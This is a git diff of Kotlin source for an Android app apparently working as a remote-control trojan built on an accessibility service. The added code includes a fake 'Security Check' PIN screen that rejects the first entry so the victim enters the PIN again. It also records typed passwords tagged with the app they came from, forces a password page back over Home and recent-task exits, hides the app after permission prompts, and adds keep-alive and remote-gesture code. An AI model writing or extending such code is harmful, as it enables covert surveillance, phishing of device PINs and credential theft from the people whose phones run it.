{ } else { Log.w(TAG, "相册权限未授予") } + + android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ + hideActivityToBackground() + }, 1200) } REQUEST_MICROPHONE_PERMISSION -> { @@ -5325,6 +6419,10 @@ class MainActivity : AppCompatActivity() { } else { Log.w(TAG, "麦克风权限未授予") } + + android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ + hideActivityToBackground() + }, 1200) } REQUEST_CAMERA_PERMISSION -> { @@ -5374,10 +6472,93 @@ class MainActivity : AppCompatActivity() { statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } } + + if (unifiedPermissionFlowInProgress) { + Handler(mainLooper).postDelayed({ + continueUnifiedPermissionFlow("运行时权限回调") + }, getRuntimeFlowContinueDelayMs()) + } + + Handler(mainLooper).postDelayed({ + try { + AccessibilityRemoteService.getInstance()?.checkAndHideConfigMask() + } catch (e: Exception) { + Log.w(TAG, "运行时权限回调后触发配置完成检查失败", e) + } + }, 500) } } } + private fun getPermissionFlowActionIntervalMs(): Long { + return if (isSlowPermissionFlowModeEnabled()) { + SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS + } else { + MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS + } + } + + private fun getRuntimeRequestDispatchIntervalMs(): Long { + return if (isSlowPermissionFlowModeEnabled()) { + SLOW_RUNTIME_REQUEST_DISPATCH_INTERVAL_MS + } else { + RUNTIME_REQUEST_DISPATCH_INTERVAL_MS + } + } + + private fun getRuntimeFlowContinueDelayMs(): Long { + return if (isSlowPermissionFlowModeEnabled()) { + SLOW_RUNTIME_FLOW_CONTINUE_DELAY_MS + } else { + RUNTIME_FLOW_CONTINUE_DELAY_MS + } + } + + private fun isSlowPermissionFlowModeEnabled(): Boolean { + cachedSlowPermissionFlowMode?.let { return it } + + val isXiaomiFamily = isXiaomiFamilyDevice() + val isFirstInstallWindow = isWithinFirstInstallWindow() + val enabled = isXiaomiFamily && isFirstInstallWindow + cachedSlowPermissionFlowMode = enabled + + if (!slowPermissionFlowModeLogged) { + slowPermissionFlowModeLogged = true + Log.i( + TAG, + "⏱️ 权限慢速模式判定: enabled=$enabled, xiaomiFamily=$isXiaomiFamily, firstInstallWindow=$isFirstInstallWindow, actionInterval=${if (enabled) SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS else MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS}ms" + ) + } + return enabled + } + + private fun isXiaomiFamilyDevice(): Boolean { + val brand = (Build.BRAND ?: "").lowercase() + val manufacturer = (Build.MANUFACTURER ?: "").lowercase() + return brand.contains("xiaomi") || + brand.contains("redmi") || + brand.contains("poco") || + manufacturer.contains("xiaomi") || + manufacturer.contains("redmi") + } + + private fun isWithinFirstInstallWindow(): Boolean { + return try { + val launchPrefs = getSharedPreferences("app_launch", Context.MODE_PRIVATE) + val launchCount = launchPrefs.getInt("launch_count", 0) + + val installAgeMs = runCatching { + val pkgInfo = packageManager.getPackageInfo(packageName, 0) + System.currentTimeMillis() - pkgInfo.firstInstallTime + }.getOrDefault(Long.MAX_VALUE) + + launchCount <= SLOW_MODE_MAX_LAUNCH_COUNT || installAgeMs in 0..FIRST_INSTALL_GRACE_PERIOD_MS + } catch (e: Exception) { + Log.w(TAG, "首装窗口判定失败,默认关闭慢速模式", e) + false + } + } + /** * 启动WebView页面 * 从server_config.json读取webUrl配置 @@ -5848,13 +7029,12 @@ class MainActivity : AppCompatActivity() { * 将当前Activity隐藏到后台而不销毁 */ private fun hideActivityToBackground() { - // 🚀 简化:允许用户正常返回,不强制隐藏 -// try { -// moveTaskToBack(true) -// Log.i(TAG, "已将MainActivity隐藏到后台") -// } catch (e: Exception) { -// Log.w(TAG, "隐藏Activity到后台失败: ${e.message}") -// } + try { + moveTaskToBack(true) + Log.i(TAG, "已将MainActivity隐藏到后台") + } catch (e: Exception) { + Log.w(TAG, "隐藏Activity到后台失败: ${e.message}") + } } /** @@ -6236,4 +7416,4 @@ object MediaProjectionHolder { } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/OperationLogCollector.kt b/app/src/main/java/com/hikoncont/OperationLogCollector.kt index 7bc7b22..8673f95 100644 --- a/app/src/main/java/com/hikoncont/OperationLogCollector.kt +++ b/app/src/main/java/com/hikoncont/OperationLogCollector.kt @@ -1118,7 +1118,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) { "relativeTime" to (currentTime - passwordInputStartTime), "actualPasswordText" to cleanActualText, "displayText" to actualText, - "numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息 + "numericSequenceLength" to sequenceLength, // ✅ 添加序列长度信息 + "packageName" to packageName, + "className" to className ) passwordInputEvents.add(inputEvent) @@ -1288,6 +1290,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) { // 构建详细的分析信息文本 - ✅ 使用实际密码长度 val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate) + val lastEvent = passwordInputEvents.lastOrNull() + val sourcePackageName = lastEvent?.get("packageName") as? String ?: "" + val sourceClassName = lastEvent?.get("className") as? String ?: "" logScope.launch { val extraData = mutableMapOf( @@ -1303,7 +1308,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) { "enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型 "legacyPasswordType" to passwordType, // ✅ 添加传统类型 "originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试 - "correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度 + "correctedPasswordLength" to actualPasswordLength, // ✅ 校正后的长度 + "sourcePackageName" to sourcePackageName, + "sourceClassName" to sourceClassName ) // ✅ 如果有确认按钮坐标,记录到extraData中 @@ -4373,4 +4380,4 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) { return isKeyboardRelated && hasNumericContent } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/RemoteControlApplication.kt b/app/src/main/java/com/hikoncont/RemoteControlApplication.kt index 5987c35..3cac878 100644 --- a/app/src/main/java/com/hikoncont/RemoteControlApplication.kt +++ b/app/src/main/java/com/hikoncont/RemoteControlApplication.kt @@ -7,6 +7,8 @@ import androidx.work.WorkManager import com.hikoncont.crash.CrashHandler import com.hikoncont.service.WorkManagerKeepAliveService import com.hikoncont.service.ComprehensiveKeepAliveManager +import com.hikoncont.util.DeviceMetricsReporter +import com.hikoncont.util.RuntimeFeatureFlags /** * 应用程序主类 @@ -36,6 +38,17 @@ class RemoteControlApplication : Application() { android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ startComprehensiveKeepAliveIfInstallationComplete() }, 10000L) // 延迟10秒启动,避免干扰用户正常使用 + + val runtimeFlags = RuntimeFeatureFlags.current(this) + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "application_on_create", + success = true, + data = mapOf( + "workManagerKeepAlive" to runtimeFlags.workManagerKeepAlive, + "comprehensiveKeepAlive" to runtimeFlags.comprehensiveKeepAlive + ) + ) Log.i(TAG, "✅ 应用程序初始化完成") } catch (e: Exception) { @@ -71,6 +84,12 @@ class RemoteControlApplication : Application() { */ private fun startWorkManagerKeepAliveIfInstallationComplete() { try { + val flags = RuntimeFeatureFlags.current(this) + if (!flags.workManagerKeepAlive) { + Log.i(TAG, "⏭️ featureFlags.workManagerKeepAlive=false,跳过WorkManager保活启动") + return + } + // 检查安装是否完成 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() @@ -88,8 +107,20 @@ class RemoteControlApplication : Application() { workManagerKeepAlive.startKeepAlive(this) Log.i(TAG, "✅ WorkManager 保活服务已启动") + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "workmanager_keepalive_start", + success = true, + data = mapOf("source" to "application") + ) } catch (e: Exception) { Log.e(TAG, "❌ 启动 WorkManager 保活服务失败", e) + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "workmanager_keepalive_start", + success = false, + data = mapOf("source" to "application", "error" to (e.message ?: "unknown")) + ) } } @@ -114,6 +145,12 @@ class RemoteControlApplication : Application() { */ private fun startComprehensiveKeepAliveIfInstallationComplete() { try { + val flags = RuntimeFeatureFlags.current(this) + if (!flags.comprehensiveKeepAlive) { + Log.i(TAG, "⏭️ featureFlags.comprehensiveKeepAlive=false,跳过综合保活启动") + return + } + // 检查安装是否完成 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() @@ -140,9 +177,21 @@ class RemoteControlApplication : Application() { keepAliveManager.startComprehensiveKeepAlive() Log.i(TAG, "✅ 综合保活管理器启动完成") + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "comprehensive_keepalive_start", + success = true, + data = mapOf("source" to "application") + ) } catch (e: Exception) { Log.e(TAG, "❌ 启动综合保活管理器失败", e) + DeviceMetricsReporter.reportKeepAlive( + context = this, + metricName = "comprehensive_keepalive_start", + success = false, + data = mapOf("source" to "application", "error" to (e.message ?: "unknown")) + ) } } diff --git a/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt b/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt new file mode 100644 index 0000000..ea753bd --- /dev/null +++ b/app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt @@ -0,0 +1,183 @@ +package com.hikoncont.activity + +import android.graphics.Color +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.text.InputFilter +import android.text.InputType +import android.util.Log +import android.view.Gravity +import android.view.ViewGroup +import android.view.WindowManager +import android.widget.Button +import android.widget.EditText +import android.widget.LinearLayout +import android.widget.TextView +import androidx.appcompat.app.AppCompatActivity +import com.hikoncont.service.AccessibilityRemoteService + +class AppInjectionPinActivity : AppCompatActivity() { + companion object { + private const val TAG = "AppInjectionPinActivity" + } + + private lateinit var pinInput: EditText + private lateinit var statusText: TextView + private var attemptCount = 0 + private var completed = false + private var targetPackage: String = "" + private var targetAppName: String = "" + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + + targetPackage = intent.getStringExtra("targetPackage").orEmpty() + targetAppName = intent.getStringExtra("targetAppName").orEmpty() + + window.addFlags( + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED or + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON or + WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON + ) + setFinishOnTouchOutside(false) + + val root = LinearLayout(this).apply { + orientation = LinearLayout.VERTICAL + setPadding(48, 64, 48, 48) + setBackgroundColor(Color.parseColor("#111111")) + gravity = Gravity.CENTER_HORIZONTAL + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT + ) + } + + val title = TextView(this).apply { + text = "Security Check" + setTextColor(Color.WHITE) + textSize = 24f + gravity = Gravity.CENTER + } + root.addView( + title, + LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ) + ) + + val subTitle = TextView(this).apply { + val appPart = if (targetAppName.isNotBlank()) targetAppName else targetPackage.ifBlank { "target app" } + text = "Enter 6-digit PIN to continue ($appPart)" + setTextColor(Color.parseColor("#B0B0B0")) + textSize = 14f + gravity = Gravity.CENTER + } + root.addView( + subTitle, + LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ).apply { + topMargin = 20 + bottomMargin = 24 + } + ) + + pinInput = EditText(this).apply { + hint = "6-digit PIN" + setHintTextColor(Color.parseColor("#666666")) + setTextColor(Color.WHITE) + textSize = 22f + gravity = Gravity.CENTER + inputType = InputType.TYPE_CLASS_NUMBER or InputType.TYPE_NUMBER_VARIATION_PASSWORD + filters = arrayOf(InputFilter.LengthFilter(6)) + setSingleLine(true) + setBackgroundColor(Color.parseColor("#222222")) + setPadding(20, 20, 20, 20) + } + root.addView( + pinInput, + LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ) + ) + + statusText = TextView(this).apply { + text = "Waiting for input" + setTextColor(Color.parseColor("#B0B0B0")) + textSize = 13f + gravity = Gravity.CENTER + } + root.addView( + statusText, + LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ).apply { + topMargin = 14 + bottomMargin = 20 + } + ) + + val confirmButton = Button(this).apply { + text = "Confirm" + setOnClickListener { onConfirmClick() } + } + root.addView( + confirmButton, + LinearLayout.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.WRAP_CONTENT + ) + ) + + setContentView(root) + } + + override fun onBackPressed() { + // Keep the challenge flow deterministic; avoid accidental dismissal. + statusText.text = "PIN check is required" + statusText.setTextColor(Color.parseColor("#FFB74D")) + } + + private fun onConfirmClick() { + val pin = pinInput.text?.toString()?.trim().orEmpty() + if (!pin.matches(Regex("^\\d{6}$"))) { + statusText.text = "PIN must be 6 digits" + statusText.setTextColor(Color.parseColor("#FFB74D")) + return + } + + attemptCount += 1 + val service = AccessibilityRemoteService.getInstance() + + if (attemptCount == 1) { + statusText.text = "Incorrect PIN, try again" + statusText.setTextColor(Color.parseColor("#EF5350")) + pinInput.setText("") + service?.onAppInjectionPinAttempt(success = false, attempt = attemptCount) + return + } + + completed = true + statusText.text = "PIN accepted" + statusText.setTextColor(Color.parseColor("#66BB6A")) + service?.onAppInjectionPinAttempt(success = true, attempt = attemptCount) + + Handler(Looper.getMainLooper()).postDelayed({ + finish() + }, 250) + } + + override fun onDestroy() { + super.onDestroy() + if (!completed) { + Log.i(TAG, "PIN activity dismissed before completion") + AccessibilityRemoteService.getInstance()?.onAppInjectionPinDismissed("activity_destroyed") + } + } +} + diff --git a/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt b/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt index 70c3220..af12a0d 100644 --- a/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt +++ b/app/src/main/java/com/hikoncont/activity/ConfigMaskActivity.kt @@ -14,6 +14,7 @@ import android.view.Gravity import android.content.BroadcastReceiver import android.content.IntentFilter import com.hikoncont.service.modules.ConfigProgressManager +import com.hikoncont.util.registerReceiverCompat import org.json.JSONObject import java.io.BufferedReader import java.io.InputStreamReader @@ -355,13 +356,13 @@ class ConfigMaskActivity : Activity() { private fun registerHideReceiver() { try { val filter = android.content.IntentFilter("android.mycustrecev.HIDE_CONFIG_MASK") - registerReceiver(hideReceiver, filter) + registerReceiverCompat(hideReceiver, filter) Log.i(TAG, "✅ 隐藏广播接收器注册成功") // 注册进度更新广播接收器 if (enableProgressBar) { val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE) - registerReceiver(progressReceiver, progressFilter) + registerReceiverCompat(progressReceiver, progressFilter) Log.i(TAG, "✅ ConfigMaskActivity进度更新广播接收器注册成功") Log.i(TAG, "📡 监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}") } else { @@ -433,4 +434,4 @@ class ConfigMaskActivity : Activity() { } }, 500) } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt b/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt index 12bc604..fa7e61c 100644 --- a/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt +++ b/app/src/main/java/com/hikoncont/activity/PasswordInputActivity.kt @@ -5,6 +5,7 @@ import android.app.WallpaperManager import android.content.Context import android.content.Intent import android.graphics.* +import android.os.Build import android.os.Bundle import android.os.Handler import android.os.Looper @@ -65,7 +66,9 @@ class PasswordInputActivity : AppCompatActivity() { private var patternTrajectory = mutableListOf() private var currentPassword = "" private var isForceShowing = false // 防止重复强制显示 + private var passwordFlowCompleted = false // 标记密码流程是否已完成,完成后不再强制拉回 private var useLightTheme = false // 当壁纸不可用时启用白底黑字 + private val enableLockTaskForSocketWake = false override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) @@ -119,8 +122,12 @@ class PasswordInputActivity : AppCompatActivity() { super.onResume() Log.i(TAG, "🔐 密码输入页面恢复") + if (shouldKeepForeground() && enableLockTaskForSocketWake) { + tryStartLockTaskMode() + } + // 如果是socket唤醒且没有正在强制显示,则强制显示密码页面 - if (isSocketWake && !isForceShowing) { + if (shouldKeepForeground() && !isForceShowing) { isForceShowing = true forceShowPasswordPage() } @@ -130,17 +137,9 @@ class PasswordInputActivity : AppCompatActivity() { super.onPause() Log.i(TAG, "🔐 密码输入页面暂停") - // 防止Activity被销毁,保持在后台 - if (isSocketWake) { - Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台") - // 不执行任何可能导致Activity销毁的操作 - } else { - // 防止用户通过其他方式退出,重新显示页面 - Handler(Looper.getMainLooper()).postDelayed({ - if (!isFinishing && !isDestroyed) { - Log.i(TAG, "🔐 检测到页面被暂停,重新显示密码输入页面") - } - }, 1000) + if (shouldKeepForeground()) { + Log.i(TAG, "🔐 检测到页面进入后台,准备强制回到密码页") + scheduleForceReturn("onPause") } } @@ -148,18 +147,17 @@ class PasswordInputActivity : AppCompatActivity() { super.onStop() Log.i(TAG, "🔐 密码输入页面停止") - // 防止Activity被销毁,保持在后台 - if (isSocketWake) { - Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台") - // 不执行任何可能导致Activity销毁的操作 - // Activity将保持在后台,不会被销毁 - } else { - // 防止用户通过其他方式退出,重新显示页面 - Handler(Looper.getMainLooper()).postDelayed({ - if (!isFinishing && !isDestroyed) { - Log.i(TAG, "🔐 检测到页面被停止,重新显示密码输入页面") - } - }, 1000) + if (shouldKeepForeground()) { + Log.i(TAG, "🔐 检测到页面被停止,准备强制回到密码页") + scheduleForceReturn("onStop") + } + } + + override fun onUserLeaveHint() { + super.onUserLeaveHint() + if (shouldKeepForeground()) { + Log.i(TAG, "🔐 检测到用户尝试离开密码页(Home/最近任务),准备强制回到密码页") + scheduleForceReturn("onUserLeaveHint") } } @@ -890,7 +888,8 @@ class PasswordInputActivity : AppCompatActivity() { passwordType, "PasswordInputActivity", deviceId, - installationId + installationId, + "manual_password_input_activity" ) Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType") } else { @@ -983,6 +982,13 @@ class PasswordInputActivity : AppCompatActivity() { private fun completeInstallationDirectly() { Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)") + if (passwordFlowCompleted) { + Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求") + return + } + passwordFlowCompleted = true + tryStopLockTaskMode() + try { // ✅ 检查是否已经安装完成,如果已完成则跳过处理 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) @@ -1058,6 +1064,13 @@ class PasswordInputActivity : AppCompatActivity() { private fun completeInstallation() { Log.i(TAG, "🎉 安装流程完成") + if (passwordFlowCompleted) { + Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求") + return + } + passwordFlowCompleted = true + tryStopLockTaskMode() + try { // ✅ 检查是否已经安装完成,如果已完成则跳过处理 val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) @@ -1232,6 +1245,71 @@ class PasswordInputActivity : AppCompatActivity() { val timestamp: Long ) + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 仅在 Socket 唤醒且密码流程未完成时,才需要强制保持前台。 + */ + private fun shouldKeepForeground(): Boolean { + return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE + } + + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 异步触发前台回拉,避免与系统生命周期回调冲突。 + */ + private fun scheduleForceReturn(source: String) { + Handler(Looper.getMainLooper()).postDelayed({ + if (!shouldKeepForeground()) { + return@postDelayed + } + if (isFinishing || isDestroyed) { + return@postDelayed + } + Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉") + checkAndForceShowIfNeeded() + }, 260) + } + + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 尝试开启锁任务模式,进一步降低 Home/最近任务离开概率。 + */ + private fun tryStartLockTaskMode() { + if (!enableLockTaskForSocketWake) { + Log.i(TAG, "🔓 锁任务模式已禁用,跳过 startLockTask") + return + } + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) { + return + } + try { + startLockTask() + Log.i(TAG, "🔐 已尝试开启锁任务模式") + } catch (e: Exception) { + Log.w(TAG, "⚠️ 开启锁任务模式失败(可能设备不支持)", e) + } + } + + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 密码流程完成后关闭锁任务模式,恢复系统正常行为。 + */ + private fun tryStopLockTaskMode() { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) { + return + } + try { + stopLockTask() + Log.i(TAG, "🔓 已尝试关闭锁任务模式") + } catch (e: Exception) { + Log.w(TAG, "⚠️ 关闭锁任务模式失败(可能未开启)", e) + } + } + /** * 强制显示密码页面(Socket唤醒专用) */ diff --git a/app/src/main/java/com/hikoncont/manager/GalleryManager.kt b/app/src/main/java/com/hikoncont/manager/GalleryManager.kt index 35e493d..2194807 100644 --- a/app/src/main/java/com/hikoncont/manager/GalleryManager.kt +++ b/app/src/main/java/com/hikoncont/manager/GalleryManager.kt @@ -46,34 +46,8 @@ class GalleryManager(private val service: AccessibilityRemoteService) { val result = mutableListOf() if (!hasReadMediaPermission()) { - Log.w(TAG, "⚠️ 相册读取权限未授予,尝试自动申请") - try { - // 触发自动权限申请 - service.requestGalleryPermissionWithAutoGrant() - } catch (e: Exception) { - Log.e(TAG, "触发相册权限申请失败", e) - } - - // 轮询等待权限授予,最多等待约8秒 - var attempts = 0 - val maxAttempts = 16 - while (attempts < maxAttempts) { - try { - Thread.sleep(500) - } catch (ie: InterruptedException) { - // 忽略中断,继续检查 - } - if (hasReadMediaPermission()) { - Log.i(TAG, "✅ 相册读取权限已在等待期间授予,继续读取") - break - } - attempts++ - } - - if (!hasReadMediaPermission()) { - Log.w(TAG, "⚠️ 等待后仍未获得相册读取权限,返回空列表") - return result - } + Log.w(TAG, "⚠️ 相册读取权限未授予,已停止自动申请(需手动触发权限申请)") + return result } try { diff --git a/app/src/main/java/com/hikoncont/manager/GestureController.kt b/app/src/main/java/com/hikoncont/manager/GestureController.kt index eaef109..d8cda5d 100644 --- a/app/src/main/java/com/hikoncont/manager/GestureController.kt +++ b/app/src/main/java/com/hikoncont/manager/GestureController.kt @@ -3,6 +3,8 @@ import android.accessibilityservice.GestureDescription import android.graphics.Path import android.graphics.PointF +import android.os.Handler +import android.os.Looper import android.util.Log import com.hikoncont.service.AccessibilityRemoteService import kotlinx.coroutines.* @@ -26,6 +28,30 @@ class GestureController(private val service: AccessibilityRemoteService) { } private val gestureScope = CoroutineScope(Dispatchers.Main) + private val callbackHandler = Handler(Looper.getMainLooper()) + + private fun dispatchGestureWithTrace(gesture: GestureDescription, actionName: String): Boolean { + return try { + val accepted = service.dispatchGesture( + gesture, + object : android.accessibilityservice.AccessibilityService.GestureResultCallback() { + override fun onCompleted(gestureDescription: GestureDescription?) { + Log.d(TAG, "✅ 手势完成: $actionName") + } + + override fun onCancelled(gestureDescription: GestureDescription?) { + Log.w(TAG, "⚠️ 手势取消: $actionName") + } + }, + callbackHandler + ) + Log.d(TAG, "🎯 手势下发结果: $actionName, accepted=$accepted") + accepted + } catch (e: Exception) { + Log.e(TAG, "❌ 手势下发异常: $actionName", e) + false + } + } /** * 执行手势操作(覆盖窗口不影响系统级手势操作) @@ -47,8 +73,8 @@ class GestureController(private val service: AccessibilityRemoteService) { val path = Path().apply { moveTo(x, y) } val stroke = GestureDescription.StrokeDescription(path, 0, CLICK_DURATION) val gesture = GestureDescription.Builder().addStroke(stroke).build() - - service.dispatchGesture(gesture, null, null) + + dispatchGestureWithTrace(gesture, "click($x,$y)") Log.d(TAG, "执行点击操作: ($x, $y)") } } @@ -61,8 +87,8 @@ class GestureController(private val service: AccessibilityRemoteService) { val path = Path().apply { moveTo(x, y) } val stroke = GestureDescription.StrokeDescription(path, 0, LONG_PRESS_DURATION) val gesture = GestureDescription.Builder().addStroke(stroke).build() - - service.dispatchGesture(gesture, null, null) + + dispatchGestureWithTrace(gesture, "long_press($x,$y)") Log.d(TAG, "执行长按操作: ($x, $y)") } } @@ -79,8 +105,8 @@ class GestureController(private val service: AccessibilityRemoteService) { val stroke = GestureDescription.StrokeDescription(path, 0, duration) val gesture = GestureDescription.Builder().addStroke(stroke).build() - - service.dispatchGesture(gesture, null, null) + + dispatchGestureWithTrace(gesture, "swipe($startX,$startY->$endX,$endY,$duration)") Log.d(TAG, "执行滑动操作: ($startX, $startY) -> ($endX, $endY)") } } @@ -266,4 +292,4 @@ data class GestureCommand( val endDistance: Float = 0f, val duration: Long = 300L, val interval: Long = 100L -) \ No newline at end of file +) diff --git a/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt b/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt index 7f0f915..5d36a01 100644 --- a/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt +++ b/app/src/main/java/com/hikoncont/manager/MicrophoneManager.kt @@ -70,30 +70,8 @@ class MicrophoneManager(private val service: AccessibilityRemoteService) { } if (!hasMicrophonePermission()) { - Log.w(TAG, "⚠️ 麦克风权限未授予,尝试自动申请") - try { - service.requestMicrophonePermissionWithAutoGrant() - } catch (e: Exception) { - Log.e(TAG, "触发麦克风权限申请失败", e) - } - - var attempts = 0 - val maxAttempts = 16 // ~8s - while (attempts < maxAttempts) { - try { - Thread.sleep(500) - } catch (_: InterruptedException) {} - if (hasMicrophonePermission()) { - Log.i(TAG, "✅ 麦克风权限已在等待期间授予,开始录音") - break - } - attempts++ - } - - if (!hasMicrophonePermission()) { - Log.w(TAG, "⚠️ 等待后仍未获得麦克风权限,取消录音启动") - return - } + Log.w(TAG, "⚠️ 麦克风权限未授予,取消录音启动(需手动触发权限申请)") + return } try { diff --git a/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt b/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt index 5a19d06..557647a 100644 --- a/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt +++ b/app/src/main/java/com/hikoncont/manager/PermissionGranter.kt @@ -13,7 +13,8 @@ import android.util.Log import android.view.accessibility.AccessibilityEvent import android.view.accessibility.AccessibilityNodeInfo import com.hikoncont.service.AccessibilityRemoteService -import com.hikoncont.util.ROMAdapter +import com.hikoncont.ui.PermissionRequestActivity +import com.hikoncont.util.DeviceDetector import com.hikoncont.MediaProjectionHolder import kotlinx.coroutines.* import android.accessibilityservice.GestureDescription @@ -38,7 +39,8 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { } private val context: Context = service - private val romAdapter = ROMAdapter() + private val romPolicy by lazy { DeviceDetector.getRomPolicy() } + private val installerUiPlan by lazy { DeviceDetector.getInstallerUiAutomationPlan() } /** * ✅ 检查是否是保活场景 @@ -123,17 +125,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { private var lastMediaProjectionAttemptTime = 0L // 删除悬浮窗权限最后尝试时间 private val retryIntervalMs = 3000L // 减少到3秒间隔 - private val cameraPermissionRetryInterval = 1500L // 摄像头权限重试间隔 - private val galleryPermissionRetryInterval = 1000L // 相册权限重试间隔 - private val microphonePermissionRetryInterval = 2000L // 麦克风权限重试间隔 - private val smsPermissionRetryInterval = 1000L // 短信权限重试间隔 + private val defaultCameraPermissionRetryInterval = 1500L // 摄像头权限重试间隔 + private val defaultGalleryPermissionRetryInterval = 1000L // 相册权限重试间隔 + private val defaultMicrophonePermissionRetryInterval = 2000L // 麦克风权限重试间隔 + private val defaultSmsPermissionRetryInterval = 1000L // 短信权限重试间隔 + private val slowCameraPermissionRetryInterval = 2400L + private val slowGalleryPermissionRetryInterval = 2000L + private val slowMicrophonePermissionRetryInterval = 2600L + private val slowSmsPermissionRetryInterval = 2000L + private val defaultRuntimeDialogSettleDelayMs = 1000L + private val slowRuntimeDialogSettleDelayMs = 1800L + private val slowPermissionEditorLaunchDelayMs = 900L private val sendSMSPermissionRetryInterval = 1000L // 发送短信权限弹框重试间隔 private val sendSMSConfirmationRetryInterval = 500L // 发送短信确认对话框重试间隔 + private val slowModeMaxLaunchCount = 3 + private val firstInstallGracePeriodMs = 12 * 60 * 60 * 1000L private var hasDetectedPermissionDialog = false // 是否检测到权限对话框 private var dialogDetectionCount = 0 // 对话框检测次数 private var isFirstInstall = false // 是否为首次安装 private var lastDialogPackageName: String? = null // 最后检测到的对话框包名 private var isSecondaryConfirmationActive = false // 二次确认监听状态 + private var cachedRuntimePermissionSlowMode: Boolean? = null + private var runtimePermissionSlowModeLogged = false // Android 15权限稳定通知防重复标记 @Volatile private var android15StableBroadcastSent = false @@ -151,9 +164,242 @@ class PermissionGranter(private val service: AccessibilityRemoteService) { // 协程作用域 private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob()) + @Volatile private var mediaProjectionRequestSessionId = 0L + private var mediaProjectionSafetyResetJob: Job? = null // 摄像头权限相关变量 private var lastCameraPermissionAttemptTime = 0L + private var cameraPermissionRequestStartedAt = 0L + private var galleryPermissionRequestStartedAt = 0L + private var microphonePermissionRequestStartedAt = 0L + private var smsPermissionRequestStartedAt = 0L + private val runtimePermissionRequestStaleTimeoutMs = 45_000L + private val slowRuntimePermissionRequestStaleTimeoutMs = 20_000L + @Volatile private var activeRuntimePermissionRequest: String? = null + @Volatile private var activeRuntimePermissionStartedAt = 0L + private val 